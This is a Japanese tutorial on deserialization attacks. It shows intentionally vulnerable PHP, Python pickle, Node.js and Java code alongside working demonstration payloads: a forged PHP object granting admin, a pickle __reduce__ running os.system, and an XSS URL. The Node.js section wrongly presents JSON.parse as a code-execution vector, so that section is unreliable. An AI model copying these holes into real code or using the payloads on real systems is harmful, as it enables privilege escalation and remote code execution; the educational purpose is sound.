デシリアライゼーションによる攻撃について
シリアライゼーション攻撃は、オブジェクトをシリアライズ(データとして保存や転送できる形式に変換)する処理を悪用して、不正なデータをデシリアライズ(シリアライズされたデータを元のオブジェクトに戻す)する際に、攻撃者が任意のコードを実行する脆弱性です。この攻撃は、シリアライズされたデータが信頼できないソースから提供されたり、不適切に検証された場合に発生します。
シリアライゼーション攻撃は、以下のリスクを伴います:
脆弱なコード例:
<?php
class User {
public $isAdmin = false;
}
$user = unserialize($_GET['data']);
if ($user->isAdmin) {
echo "Admin access granted";
} else {
echo "User access";
}
?>
攻撃手法:
攻撃者は、シリアライズされたオブジェクトデータを操作して、isAdmin
プロパティをtrue
に設定することで、管理者権限を取得できます。
http://example.com/vulnerable.php?data=O:4:"User":1:{s:7:"isAdmin";b:1;}
これにより、isAdmin
がtrue
になり、「Admin access granted」が表示されます。
脆弱なコード例:
import pickle
from flask import Flask, request
app = Flask(__name__)
@app.route('/load')
def load_object():
data = request.args.get('data')
obj = pickle.loads(data.encode('latin1'))
return str(obj)
if __name__ == '__main__':
app.run()
攻撃手法:
攻撃者は、pickle
を使ってシリアライズされたオブジェクトを操作し、任意のコードを実行させることができます。
悪意のあるペイロードを生成し、それをデシリアライズさせることで、攻撃者がコードを実行できます。
import pickle
import os
class Exploit(object):
def __reduce__(self):
return (os.system, ('id',))
payload = pickle.dumps(Exploit())
print(payload)
このペイロードを利用して、id
コマンドがサーバーで実行されます。
脆弱なコード例:
const express = require('express');
const app = express();
app.get('/load', (req, res) => {
const data = JSON.parse(req.query.data);
res.send(`Hello, ${data.name}`);
});
app.listen(3000);
攻撃手法:
攻撃者は、eval
を使ったり、不正なコードを埋め込んだJSONをデシリアライズさせることで、任意のJavaScriptを実行させることができます。
http://localhost:3000/load?data={"name":"<script>alert('XSS')</script>"}
この例では、XSS攻撃が可能です。
脆弱なコード例:
import java.io.ObjectInputStream;
import java.io.FileInputStream;
public class DeserializeUser {
public static void main(String[] args) {
try {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("user.ser"));
User user = (User) in.readObject();
in.close();
if (user.isAdmin()) {
System.out.println("Admin access granted");
} else {
System.out.println("User access");
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
攻撃手法:
攻撃者がuser.ser
ファイルを操作し、任意のクラスをデシリアライズさせることで、リモートコード実行が可能です。
攻撃者が独自の悪意のあるクラスを作成し、シリアライズされたデータをサーバーに送ることで、そのクラスがデシリアライズされ、コードが実行されます。
まとめ: シリアライゼーションによる攻撃は、信頼できないデータをデシリアライズする際に非常に危険です。信頼できないソースからのデシリアライズを避ける、代替手法を使用する、データの検証を徹底するなどの対策を講じることで、この脆弱性を防ぐことができます。シリアライズの使用を必要とする場合には、セキュリティ対策を強化して、システムの安全性を確保することが重要です。